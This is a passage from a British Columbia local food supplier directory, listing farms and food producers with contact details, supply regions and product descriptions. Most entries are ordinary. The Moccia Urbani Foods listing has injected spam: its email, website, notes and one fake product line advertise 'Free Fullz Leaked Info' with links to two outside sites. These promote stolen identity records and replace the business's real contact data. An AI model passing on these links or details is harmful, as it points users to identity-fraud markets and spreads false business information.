**Fax:** 250-499-5379

**Email:** [mariposaorganicfarm@nethop.net](mailto:mariposaorganicfarm@nethop.net)

**Website:** Unavailable

### **Address:**

S33 C10 RR1

Cawston, BC

V0X 1C0

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

### **Company Notes:**

Small family farm focused on getting the best quality food to the consumer. We use greenhouses and floating row covers to maximize continuity of supply through longest season possible. Careful handling of food at all stages maintains appearance and keepability.

### **Products Available:**

#### Swiss Chard - Fall, Spring,

Multicolored, medium-sized bunches, picked fresh as ordered for next day delivery. Boxes of 12 or 24 bunches in a cherry bag to prevent wilting. Lightly misted with water. Not cheap, but guaranteed fresh and attractive. Available seasonally.

#### Head Lettuce - Spring,

Living butter lettuce in a perforated lettuce bag with roots attached for maximum freshness. Kept clean while growing, requires minimal washing. Available seasonally.

#### Long English Cucumbers - Fall, Spring, Summer

Large (1lb) LE cuke hand wrapped and stickered. Soil grown for optimum flavour. Picked as ordered for next-day delivery. Best flavour of any LE cuke available. Available seasonally.

#### Tomatoes - Fall, Summer

Started early in greenhouse but field-grown in heated rows for true field tomato taste out of season. Harvest begins in late June instead of August. Carefully picked at peak flavour for next day shipping. Only varieties that maintain firmness when red and sweet are grown. Packed in flat 20 lb. tray to avoid bruising. Available seasonally.

#### Summer Squash - Fall, Summer

Small spaghetti squash (2-3 lb) ready in August. Multiple selective harvests guarantee every squash is ripe and delicious. Available in 40 lb boxes. Available seasonally.

#### Winter Squash - Fall, Winter,

Many popular varieties. Multiple selective harvests guarantee every squash is ripe and delicious. Careful handling prevents scarring and punctures. Looks great on displays at Thanksgiving. Custom packing of mixed varieties for multicoloured displays. Available in 40 lb boxes. Available seasonally.

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### Field Cucumbers - Fall,Summer

Focus on very early product with good continuity of supply. Picked as ordered for next day delivery. Careful attention to detail (turning) when harvesting prevents any yellow belly. Available in 20 or 40 lb boxes, packed in perforated cherry bag for freshness. Available seasonally.

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## Miracle Springs Inc. - 604 826 7508

**Contact:** Hans Lehmann

**Toll Free:** Unavailable

**Phone:** 604 826 7508

**Cell:** Unavailable

**Fax:** 604 826 0276

**Email:** [miraclesprings@uniserve.com](mailto:miraclesprings@uniserve.com)

**Website:** Unavailable

### **Address:**

12451 Stave Lake Street

Mission, BC

V2V 4J1

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

After 30 years of growing rainbow trout for the fresh food market, we have recently started production of the smoked products. The same high quality and care we take with our fresh product is there with the production of the smoked fish.

### **Products Available:**

#### Cold Smoked Sliced Rainbow Trout - Year Round

Lox-style smoked trout, with delicate, lightly-smoked flavour so that the natural sweet flavour of the fish is maintained. Slices are separated to allow for easy use and the best presentation. Only small batches are processed at a time. Packaged in 200 gram packages on gold boards. Vacuum packed and flash frozen, which gives a 2-year shelf life. Also available in 1 kilo boxes.

#### Hot Smoked Rainbow Trout Fillets -

Fillets are sprinkled with coarsely-ground pepper. The brine brings out flavour of the fish to make this a very popular product. The trout retains a nice moist texture. Each package (approximately 150-220 grams) contains two fillets. Only small batches are processed at a time. Fish are vacuum packed with gold background to show off this product. Also flash frozen to give two-year shelf life.

#### Fresh Trout - Year Round

We sell fresh and live rainbow trout. Our fish are raised the slow way in cold, clean artesian water. We do not use growth-enhancing drugs or antibiotics. Our fish have firm flesh and a sweet taste that is the characteristic of a high-quality rainbow trout.

#### Miracle Springs Smoked Trout - Year Round

No description available

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## Misty Mountain Specialties - 604-273-8299

**Contact:** David Lee Kwen

**Toll Free:** Unavailable

**Phone:** 604-273-8299

**Cell:** Unavailable

**Fax:** 604-273-8124

**Email:** [info@mistymt.com](mailto:info@mistymt.com)

**Website:** [www.mistymt.com](http://www.mistymt.com)

**Address:**

130-13900 Maycrest Way

Richmond, BC

V6V 3E2

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

**Products Available:**

Dried Chanterelle Musrooms - Year Round

No description available

Dried Morel Mushrooms - Year Round

No description available

Dried Porcini Mushrooms - Year Round

No description available

Dried Lobster Mushrooms - Year Round

No description available

Dried Matsutake Mushrooms - Year Round

No description available

Fresh Chanterelle Mushrooms - Fall,

No description available

Fresh Matsutake Mushrooms - Fall,Winter,

No description available

Fresh Morel Mushrooms - Spring,Summer

No description available

Fresh Porcini - Winter,

No description available

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## Moccia Urbani Foods - 778-355-9339

**Contact:** Stefan Urbani

**Toll Free:** Unavailable

**Phone:** 778-355-9339

**Cell:** Unavailable

**Fax:** 778-312-0121

**Email:** <https://www.activevalid.com>

**Website:** <https://www.leakedinfo.xyz>

**Address:**

2723B Murray Street

Port Moody , BC

V3H1X1

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Website link (Free Fullz Leaked Info):

<https://www.activevalid.com>

<https://www.leakedinfo.xyz>

**Products Available:**

**RISOTTOBALLSR - Year Round**

Balls of creamy Italian risotto with fresh mozzarella cheese coated in a crispy breading. Available in five varieties: Plain, Mozzarella, With Italian Sausage, With Primavera Vegetables, with Porcini Mushrooms and With Ragu Sauce. This is a frozen product that can be re-heated from frozen for 20 minutes in a standard oven.

**Mild Italian Sausage - Year Round**

Our traditional 1968 recipe made with BC Natural Pork.

**Hot Italian Sausage - Year Round**

Our traditional 1968 recipe made with BC Natural Pork.

**Argentinian Sausage - Year Round**

Our traditional 1968 recipe made with BC Natural Pork, flavoured with oregano, red wine and Spanish paprika.

**Toulouse Sausage - Year Round**

Our traditional 1968 recipe made with BC Natural Pork, flavoured with white wine, nutmeg and smoked bacon.

**Website link (Free Fullz Leaked Info) - Year Round**

Website link (Free Fullz Leaked Info):<https://www.activevalid.com><https://www.leakedinfo.xyz>

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## Moose Meadows Farm - 250-249-5329

**Contact:** Heloise Dixon-Warren and Ted Traer

**Toll Free:** Unavailable

**Phone:** 250-249-5329

**Cell:** Unavailable

**Fax:** 250-249-5359

**Email:** [mmfarm@goldcity.net](mailto:mmfarm@goldcity.net)

**Website:** [www.moosemeadowsfarm.ca](http://www.moosemeadowsfarm.ca)

**Address:**

2861 Nazko Road

Quesnel, BC

V2J 7E5

**Regions Supplied:**

- Cariboo

**Company Notes:**

Unique, natural jellies and syrups to satisfy an emerging demand

**Products Available:**

Birch Syrup - Fall,Summer

The Gold Rush continues with production Birch Syrup from the paper birch trees.

Dandelion Blossom Jelly - Spring,Summer

Dandelion Blossom Jelly resembles the taste of honey. Blossoms are collected from our "U-Pick" field.

Rosehip Syrup -

High in Vitamin C.

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## Motion Foods Inc. - 604-987-4663

**Contact:** Georgy Good

**Toll Free:** Unavailable

**Phone:** 604-987-4663

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [orders@motionfoods.com](mailto:orders@motionfoods.com)

**Website:** motionfoods.com

### **Address:**

North Vancouver, BC

V7P 1B3

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

### **Company Notes:**

### **Products Available:**

#### Meatloaf - Year Round

Home style, original recipe, 450 gram portion, made fresh and can be frozen.

#### Meatballs - Year Round

Home style, original recipe, made by hand, appx. 100 grams each, made fresh and can be frozen

#### Turkey Breast - Year Round

Fresh baked with real butter, perfect for delis, can be frozen, appx 2kg pack

#### Strip Loin Beef -

Fresh baked with real butter, perfect for delis, can be frozen, appx 2kg pack

#### Lemon Pesto Chicken Breast - Year Round

Fresh baked with real butter, perfect for delis, can be frozen, appx 2kg pack

#### Shepherd's Pie - Year Round

Fresh baked with real butter, perfect for delis, can be frozen, appx 450 grams

#### Fresh Pasta -

Spaghetti Bolognese, Linguini Al Pesto, Penne Marinara, Tortellini Alfredo, Mac & Cheese, fresh made sauces. All of our pasta sauces are made in house using traditional Italian recipes. Packed in 400 gram portions.



## Mountain Ash Preserves - 604-414-9466

**Contact:** Anne Hutchings, Michael Austin

**Toll Free:** Unavailable

**Phone:** 604-414-9466

**Cell:** Unavailable

**Fax:** 604-414-9477

**Email:** [sales@mountainashpreserves.com](mailto:sales@mountainashpreserves.com)

**Website:** [www.mountainashpreserves.com](http://www.mountainashpreserves.com)

### **Address:**

4351 Ontario Ave.

Powell River, BC

V8A 1V3

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

The majority of the pickles and relishes are processed in the fall using fresh product from local suppliers. Jams are usually made from frozen products as ordered, which results in a fresher product for the customer. Pectin is used when necessary. The majority of the jams are processed using a longer cooking method so less sugar is used, bringing out the natural flavours of the fruit. Product is not certified organic but our motto is "as natural as possible." No chemical preservatives or stabilizers are used.

### **Products Available:**

#### Wide Variety of Pickles - Year Round

Varieties available: Beet, Beet and Onion, Bread and Butter, Chow Chow Supreme, Chunky Mustard, Firesticks, Garlic Tails n\` Peppers, Golden Clow, Holiday Hot Peppers, Hot Dilled Beans, Kosher Style Dills, Old-Fashioned Dills, Picallill, Pickled Carrots, Pickled Hot Peppers, Sweet Garlic Dills and Sweet Mixed Pickles. Jar sizes 500 ml \$4.00 - \$4.50 per jar.

#### Wide Variety of Relishes - Year Round

Wide variety of Relishes; 1000 Island, Beet Relish, Corn Relish, Golden Zucchini, Green Tomato, Hamburger, Hot Dog, Onion Mustard Delight, Pepper, September, Vegetable Relish, and Zucchini.

#### Special Salsa/Sauces - Year Round

A wide variety available: "Devil\'s Own" Hot Peppers Sauce, "The Rib Tickler," Garlic Onion Jam, Hbash Sauce, Hot Tomolives, Madras Pickled Eggplant, Mango Salso, Mincemeat, Onion Jam - Dark, Onion Jam - Light, Oriental Plum Sauce, Peppy Salsa, Pickled Grape, Tomatillo Mexican Style, Tomolives, and Sandwich Spreads.

#### Variety of Chutneys - Year Round

\*Blackberry, Christmas, Cranberry, Gingery Rhubarb, Mango, Mango Papaya Chutney, Peach, and Pumpkin.

#### A Variety of Savory Jellies - Year Round

Varieties available: Apricot Hot Pepper Jelly, \*Black Inferno, The Blazing Inferno, Cranberry - Jalapeno Jelly, Garlic Jelly, Garlic-Flavoured Jalapeno Jelly, Herb Garlic Marmalade, Horseradish, Jalapeno - Green, Jalapeno - Mixed, Jalapeno Red, Orange Pepper, Hot Pepper Jelly, Red Inferno, Red Pepper Jelly - Hot, Red Pepper Jelly - Sweet, Shallot Jelly, Cranberry Wine Jelly, \*Blackberry Wine Jelly, \*Blackberry/Rhubarb Wine Jelly, Wine and Roses Jelly.

#### Herb Jellies - Year Round

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A wide variety: Apple Mint, Ginger, Gingered-Orange, Lemon Rosemary, Mango Lavender, Mint, Parsley Jelly, Pineapple-Sage, Rosemary-Quince, Tarragon. Will also make custom orders.

#### Pickled Garlic - Year Round

A wide variety: Lemon-Dill Pickled Garlic, Regular Pickled Garlic, Pickled Garlic with White Wine.

#### Jams, Jellies and Sauces - Year Round

Most jams are made with minimum amount of sugar - the "old fashioned" way. A wide variety, including: \*Plum-Good" Blackberry Jelly, Apple Butter, Apricot Jam, Apricot Jelly, \*Apricot/Blackberry Jam, \*Blackberry Jam, \*Blackberry Jelly, \*Blackberry/Apple Jelly, Bluebarb Jam, Blueberry Jam, Blueberry Banana, Blueberry Orange Jam, Bumbleberry Jam, Crabapple Butter, Crabapple Jelly, Fig and Strawberry Jam, Grape Jelly, Mano Vanilla Jelly, Merry Berry Jam, Paradise Jelly, Peach Jam, Plum Ginger, Plum Walnut Conserve, Plum-Orange Jam, Pumpkin Butter, Rasperry and Strawberry, Raspberry Blueberry, Rasperry Jam, Rosy Plum, Strawberry Jam, Strawberry/Rhubarb, Tangerine Jelly, Tayberry Jam, Tropical Tango, Tropical Jelly, Yellow Plum Jam. We can also custom make different varieties of jams, jellies, marmalades, etc.

#### Marmalades - Year Round

Apple Ginger, Best Ever, \*Blackberry, Blood Orange, Blueberry, Citrus, Cranberry, Five Fruit, Morning Cheer, Orange Grapefruit with Ginger, Orange Pumpkin, Rhubarb, Ruby Red Grapefruit, Seville Marmalades.

#### Specialty Jars - Year Round

Mango Amaretto Butter, Margarita Marmalade, Monring Cheer (with Whiskey), Tangerine Marmalade with Orange Brandy, Sundae in a Jar, \*Blackberry with Kirsch.

#### Concentrates - Year Round

\*Blackberry Lemonade, Lemonade, Rhubarb Nectar, \*Rhubarb/Blackberry Nectar. These concentrates are to be mixed with water, ginger ale, club soda, wine, etc.

#### Syrups - Year Round

Apple/Orange, \*Blackberry/Apple, Mango Orange, Whole Berry \*Blackberry Syrup, Whole Berry Blueberry Syrup.

#### Vinegars - Year Round

Basil - in White Vinegar; Blueberry Balsamic Vinegars - white, herbs, red wine, white wine or balsamic; Dill - in White Vinegar; Garlic n\ Dill - in White Vinegar; Red Wine \*Blackberry; Tarragon; Cranberry Rosemary; Red Basil Vinegar; \*Blackberry Mint Vinegar.

#### Spices & Herbs - Year Round

Spices, herbs and teas are mostly certified organic or organically grown. Varieties include Barbecue, Bouquet Garni, Cajun Spice, Chinese 5 Spice, Garden Blend Seasoning, Potatoes Plus.

#### Teas - Year Round

Specialty teas include: Classic Masala, Chai with Green Tea, Chai Rooibox, Instant Coffee Masala.

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## Mountain Meadow Honey - 250-635-9020

**Contact:** Sam & Cynthia Ridler

**Toll Free:** Unavailable

**Phone:** 250-635-9020

**Cell:** Unavailable

**Fax:** 250-635-9010

**Email:** [Unavailable](#)

**Website:** Unavailable

**Address:**

5112 Mills Avenue

Terrace, BC

V8G 1C5

**Regions Supplied:** All of BC

**Company Notes:**

Mountain Meadow Honey is a small locally owned and operated apiary. Our honey is 100% pure, unfiltered, raw and harvested from fireweed in the Skeena Valley Area. Mountain Meadow Honey is never heated, filtered or pasteurized. Our process allows trace pollens, vitamins and active enzymes to be present. The area where the nectar is gathered is from isolated locations with high elevations of 4,000-6,000 feet. Free from any pollution or sprays makes this a truly unique honey. Considered by bee keepers as "the Champagne of Honey" fireweed honey is known for it's pale colour and delicate flavour. To be organic the rules require the location and bees to remain constant for 3 years.

Obviously our hives have to be moved out of the mountains in the winter making the certification impossible. Because of our remote locations and standards we feel we do offer the best uncertified organic honey available

starting in August of each year until supplies last.

**Products Available:**

Fireweed Honey - Fall, Winter, Summer

Our honey is 100% pure, unfiltered, raw and harvested from fireweed in the Skeena Valley Area. Mountain Meadow Honey is never heated, filtered or pasteurized. Considered by bee keepers as "the Champagne of Honey" fireweed honey is known for it's pale colour and delicate flavour

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## Mountain Meadow Sheep Dairy - 250-679-3841

**Contact:** Jasper Koo  
**Toll Free:** 877-676-3841  
**Phone:** 250-679-3841  
**Cell:** Unavailable  
**Fax:** 250-679-3841  
**Email:** [mmsdairy@hotmail.com](mailto:mmsdairy@hotmail.com)  
**Website:** [www.sheepcheesecanada.com](http://www.sheepcheesecanada.com)

**Address:**  
RR #2 Chase Creek Road  
Chase, BC  
V0E 1M0

### Regions Supplied:

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### Company Notes:

Allergic to cows milk? Our sheep dairy products are a great tasting alternative.

Our sheep live outside all year round, guarded by livestock protection dogs. Animal welfare is a top priority on our certified organic farm. The Border Collies bring the flock from pasture to pasture and to the milking parlour.

### Products Available:

#### Mountain Meadow Sheep Milk Brie - Year Round

Very creamy brie, mild when young but can get stronger with aging. I prefer it at about 4-5 weeks, usually right around the "best before" time.

#### Mountain Meadow Sheep Milk Yogurt - Year Round

Available as a plain yogurt, either whole or fat free. Sheep milk has double the amount of calcium compared to cows' or goat milk. Because of the rich milk, we do not need to add any sort of stabilizers to our non-homogenized milk.

#### Mountain Meadow Aged Sheep Milk Cheese - Year Round

For this type of cheese we apply the traditional methods of cheese making that my wife and I originally learned when we made cheese in the Swiss Alps in the early '80s. Our aged cheese grates and melts well.

#### Mountain Meadow (Sheep Milk) Oliva Feta - Year Round

This is our feta that we marinate in cold-pressed olive oil, curry, rosemary and garlic.

#### Mountain Meadow Sheep Milk Feta - Year Round

Well, feta should always be made from sheep milk. Sheep milk has a very mild delicate flavour. It is sweeter than cows' or goat milk, but very neutral. Better yet, try it yourself.

#### Mountain Meadow Sheep (Milk) Droppings - Year Round

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A soft unripened cheese, comparable to chevre. The sheep milk again makes this one milder and creamier compared to the same cheeses made from cows' or goat milk.

Mountain Meadow Sheep Milk Butter - Summer

Unsalted and uncoloured. Available seasonally.

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## Mountain Springs Farm - 250-497-8209

**Contact:** Phyllis Jmaeff

**Toll Free:** Unavailable

**Phone:** 250-497-8209

**Cell:** Unavailable

**Fax:** 250-497-6309

**Email:** [jmaeff@vip.net](mailto:jmaeff@vip.net)

**Website:** [www.mountainspringscentre.ca](http://www.mountainspringscentre.ca)

### **Address:**

Box 113, 564 Hwy. 3A

Kaleden, BC

V0H 1K0

### **Regions Supplied:**

- Thompson/Okanagan

### **Company Notes:**

Our farm is part of the Mountain Springs Nature Retreat and is located in a pristine, isolated area where the air and water are clean and pure.

### **Products Available:**

Watercress - Fall,Summer

Available from a pristine running creek.

Green Beans & Russian Yellow Beans - Fall,Summer

Our specialty is the Russian Yellow Bean. Both beans are very tender and certified organic.

Berries - Summer

Red Currants, Black Currants and Gooseberries, certified organic.

Variety of Herbs - Fall,Summer

Dill and chamomile, certified organic.

Garlic - Fall,

Large bulbs, strong flavoured, certified organic.

Certified Organic Strawberries - Spring,

Available seasonally.

Certified Organic Snowpeas - Fall,Summer

Available seasonally.

## Mrs. Palmer's Pantry Inc. - 250-426-1151

**Contact:** Brenda Palmer

**Toll Free:** Unavailable

**Phone:** 250-426-1151

**Cell:** Unavailable

**Fax:** 250-426-8230

**Email:** [mrspalmerspantry@shaw.ca](mailto:mrspalmerspantry@shaw.ca)

**Website:** [www.mrspalmerspantry.ca](http://www.mrspalmerspantry.ca)

### **Address:**

236 Slater Road

Cranbrook, BC

V1C 5C8

**Regions Supplied:** All of BC

### **Company Notes:**

All of our products are made from Mrs. Palmer's own recipes, so they are unique. Each one is made in small batches to ensure the highest possible quality, using only the freshest ingredients. Each product is made with all natural ingredients.

### **Products Available:**

#### Antipasto - Year Round

We use only fresh vegetables, nothing frozen, from an original recipe, prepared in small batches to ensure highest possible quality. Available in 2 ltr or 4 ltr pails for foodservice. Available for retail in 500, 250, and 290 ml jars.

#### Hot and Spicy Vegetarian Antipasto - Year Round

Available in 2 ltr and 4 ltr pails for foodservice, available in jars for retail. All of our products are hand made, using only fresh ingredients, made in small batches to ensure highest possible quality.

#### Oven Baked Pita Chips - Year Round

Available in these flavours: Original, Sea Salt and Vinegar, Parmesan Garlic, and Cinnamon. Available in 5 lb box for foodservice, 180 gm bag for retail. Unique creation; therefore, a unique process. All natural ingredients; oven baked, not fried. Zero trans fats.

#### Hot Pepper Jellies - Year Round

Available in the following flavours: Hot Peach and Pepper; Jalapeno Jelly, Cranberry Habanero Jelly. Available in 2 ltr and 4 ltr pails for foodservice. Also available in 250 ml and 190 ml jars for retail.

#### Apricot Ginger Grillin' Sauce - Year Round

Mrs. Palmer's own creation; therefore, very unique. Available in 2 ltr and 4 ltr pails; 250 ml and 190 ml jars.

#### Roasted Garlic & Carmelized Onion Glaze - Year Round

Another of Mrs. Palmer's creations. Wonderful on meat or cheese, in a sandwich or as a dip. Available in 2 ltr and 4 ltr pails; 250 ml and 190 ml jars.

#### Fruit Salsa - Year Round

Fabulous with salmon, tuna or halibut, pork, and chicken. Great with cheese or in a fajita. Chunky, hot, sweet. All natural ingredients. Available in 2 ltr and 4 ltr pails for foodservice; 500 ml and 190 ml jars.

#### Huckleberry Jam - Year Round

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Made with handpicked wild BC huckleberries.

**Kootenay Spread - Year Round**

Made with things that grow in the Kootenays: peaches, apples, raspberries, and handpicked wild huckleberries.

**Compote with Huckleberries and Brandy - Year Round**

Made with handpicked wild huckleberries.



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## Nanoose Edibles Farm - 250-468-2332

**Contact:** Barbara Ebell

**Toll Free:** Unavailable

**Phone:** 250-468-2332

**Cell:** Unavailable

**Fax:** 250-468-2324

**Email:** [neorg@telus.net](mailto:neorg@telus.net)

**Website:** Unavailable

**Address:**

1960A Stewart Road

Nanoose Bay, BC

V9P 9E7

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Producers of unique, certified organic produce for high-end restaurants in the Nanaimo region and the Tofino-Ucluelet area. Ten continuous years of experience. Assorted greens mixes; varietal romaine lettuce; culinary herbs; edible flowers; field grown cut flowers; seasonal specialty vegetables; and fruit.

**Products Available:**

Seasonal Organic Salad Greens - Year Round

Unique farm mixes. Ten years of experience and continuous production. On and off-farm sales. Year-round production. Selected for high nutrition and flavour. Hand picked and washed (well water analysis performed on a regular basis). Certified organic since 1997. Current Certification: Pacific Agricultural Certification Society 16-224.

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## Natural Pastures Cheese Co. - 866-244-4422

**Contact:** Leslie Shann, Paul Satter, Rick Adams

**Toll Free:** Unavailable

**Phone:** 866-244-4422

**Cell:** Unavailable

**Fax:** 250-334-2922

**Email:** [cheese@naturalpastures.com](mailto:cheese@naturalpastures.com)

**Website:** [www.naturalpastures.com](http://www.naturalpastures.com)

### **Address:**

635 McPhee Avenue

Courtenay, BC

V9N 2Z7

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Natural Pastures' luscious, award-winning specialty cheeses are crafted using pasture-perfect milk produced on our Certified Heritage Farm, which practices the highest standards of sustainable farming and animal stewardship. The "Heritage Farm" designation certifies that no pesticides, growth hormones, GMO's or animal-based feed products are used on the farm, and the natural wildlife habitat has been enhanced. Our hatchery and streams raise thousands of wild coho salmon each year. In addition our Heritage Farm is a TLC Land Conservancy Partner. The Land Conservancy (TLC) is a non-profit, charitable Land Trust, working throughout British Columbia. Its purpose is to protect important habitat for plants, animals and natural communities as well as properties with historical, cultural, scientific or recreational value. The butterfly symbol is used to indicate products produced on TLC-partnered farms. Please call or see our website for more information.

### **Products Available:**

#### Cracked Pepper Verdelait Cheese - Year Round

Verdelait is the delicious, award-winning blend of cheddar, Dutch gouda and Swiss raclette base in this cheese. A semi-firm and creamy cheese - spiked with a slightly warm, premium, cracked black pepper- it is excellent in sandwiches, cheese plates, baked in quiches and in omelettes. It is also delicious melted.

#### Cumin Seed Verdelait Cheese - Year Round

Verdelait is the delicious, award-winning blend of cheddar, Dutch gouda and Swiss raclette base in this cheese. It is semi-firm, with the mild flavour of sweet butter and a delicate, smoky, exotic, lemony finish. It is fabulous on fruit plates, great with spicy food and an elegant addition to cheese plates.

#### Garlic and Chive Verdelait Cheese - Year Round

Verdelait is the delicious, award-winning blend of cheddar, Dutch gouda and Swiss raclette base in this cheese. It is semi-firm, with a bold, flavourful blend of garlic and chives. It is an excellent complement to any robust cuisine, pastas, soups, salads, sandwiches and pizza.

#### Wasabi Verdelait Cheese - Year Round

Verdelait is the delicious, award-winning blend of cheddar, Dutch gouda and Swiss raclette base in this cheese. It is semi-firm with ginger, garlic and organic wasabi combined for a sparkling, mild fusion. It is wonderful with seafood, salads, omelettes and on cheese plates.

#### Soft Cheese - Comox Brie - Year Round

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A gentle flavour with a creamy, buttery taste that exemplifies the traditional flavour of a superb, bloomy rind cheese.

#### Soft Cheese - Comox Camembert - Year Round

World Championship Award Winner! This creamy, rich Camembert has a delicate note of mushroom and a tender, bloomy rind.

#### Fresh Cheese Curds - Year Round

Protein-rich, squeaky fresh plump nuggets of flavour. A favourite go-anywhere-anytime food.

#### Pacific Pepper Cheese - Year Round

A vibrant, sassy cheese with an inferno finish. Amazing flavour of local Paper Lantern Habanero peppers with premium black pepper.

#### LaScala Asiago Cheese - Year Round

A superb blend of Irish derby and Italian asiago, giving a bold, fruity, rich-tasting cheese with a sharp bite and buttery aroma. Medium aged for outstanding taste.

#### Amsterdammer Cheese - Year Round

A favourite cheese with a sweet, buttery taste with a mellow, soft infusion of herbs of the field. Nutty overtones with a tangy finish.

#### Boerenkaas Cheese - Year Round

Boerenkaas is the Dutch word for "farmers cheese." It is a rich-tasting, semi-hard cheese known for its slightly zippy taste.

#### Micro Batch Specialty Cheeses - Year Round

Parmadammer, Summer Verdelati and Pacific Pepper.

## Nature's Path Foods Inc. - 604-248-8777

**Contact:** Dag Falck

**Toll Free:** Unavailable

**Phone:** 604-248-8777

**Cell:** Unavailable

**Fax:** 604-248-8760

**Email:** [dfalck@naurespath.com](mailto:dfalck@naurespath.com)

**Website:** [www.naturespath.com](http://www.naturespath.com)

### **Address:**

9100 Van Horne Way

Richmond, BC

V6X 1W3

**Regions Supplied:** All of BC

### **Company Notes:**

Nature's Path wants to be a trusted name for organic foods in every home; socially responsible, environmentally sustainable & profitable. All our products are grown and processed organically, supporting organic family farms and sustainable practices. In 2004 alone, Nature's Path, with the help of our customers, prevented approximately 129,600 pounds of pesticides, and 9,805,200 pounds of synthetic fossil fuel fertilizer from being used. Please see our website for more information.

### **Products Available:**

Manna Bread, Carrot Raisin, Cinnamon Date, Fruit and Nut, Millet Rice, Multigrain, SunSeed, and Whole Rye - Year Round

This is a very pure, tasty and unique sprouted bread made without flour, yeast, sugar or salt. The baking is done in a manner that retains the excellent nutrition. Its sweet, moist, cake-like flavour and consistency are the result of naturally sprouting the grains for optimal nutrition, a process that converts the grain starch into maltose and other complex natural sugars. Special attributes: Ingredients available from local producers are used when possible. For instance, carrots used in Carrot Raisin Manna Bread are from local BC, certified organic farms in season; out of season, they are from imported organic varieties. The sprouted whole wheat kernels come from the same Saskatchewan organic-farming family that has supplied Nature's Path from its beginning. Manna Bread is very high in natural fiber. It is best stored frozen until use and, once thawed, lasts 3 days in the fridge. Unit size: 400 gram loaf individually sealed in inner and outer moisture barrier. Package features: Labeling printed directly on plastic bag to reduce packaging. Takes minimal space in freezer. Packaging presentation: Attractive simple package. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>.

Raspberry Muesli and Blueberry Muesli - Year Round

Made with a blend of certified-organic whole grains including organic rolled oats, organic whole oat flour, organic whole wheat flour, organic wheat bran, organic flaked yellow corn, and organic barley flakes. For unique flavour and nutrition, organic almonds, organic grape juice concentrate, organic freeze-dried blueberries, organic freeze-dried raspberries, and organic raisins are added. This is a premium high fiber/vegan product with great taste. Special attributes: Our mueslis are not cooked and are all natural and organic. Designed with lots of dried fruit and nuts, this muesli is very high in nutritional value. Unit size: Retail carton: 12.35 oz (350 g). Package features: Available in retail paperboard carton (recycled) that has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational stories about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>.

Spelt Flakes - Year Round

Created in Nature's Path's Delta, BC plant, from organic spelt flour, organic grape juice, organic instantized spelt flakes, organic barley malt extract, sea salt and organic honey. Special attributes: Organically grown and processed ingredients. Made with whole grains. High fiber/low fat. Cereal option for people with wheat sensitivity. Unit size: Retail carton: 12.5 oz (355 g). Package features: Available in retail paperboard carton (recycled) that has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at:<http://www.naturespath.com/products/breads>.

#### Honey'd Raisin Bran Flakes - Year Round

Created in Nature's Path's Delta, BC plant from organic whole wheat flour, organic raisins (coated with canola oil), organic wheat bran, organic evaporated cane juice, organic barley malt extract, sea salt and organic honey. Special attributes: Organically grown and processed ingredients. Made with whole grains. Raisins are not coated with sugar. High fiber/low fat. Unit size: Sold in two sizes: 14 oz (400 g) carton and Eco Pac 32 oz (907 g). Package features: Available in retail carton or in Eco Pac®. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at:<http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Kamut®,® Krisp Flakes - Year Round

Created in Nature's Path's Delta, BC plant, from organic Kamut® wheat flour, organic evaporated cane juice, organic whole millet, organic brown rice flour, organic agave nectar, sea salt, calcium carbonate, folic acid and organic maple syrup. Special attributes: Organically grown and processed ingredients. Made with unique heirloom whole grains. Organic Agave nectar used for sweetener gives this cereal a unique flavour. High fiber/low fat/vegan. Cereal option for people with wheat sensitivity. Unit size: Sold in two sizes: 11 oz (312 g) carton and Eco Pac 26.4 oz (750 g). Package features: Available in retail carton or in Eco Pac®. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at:<http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Millet Rice Flakes - Year Round

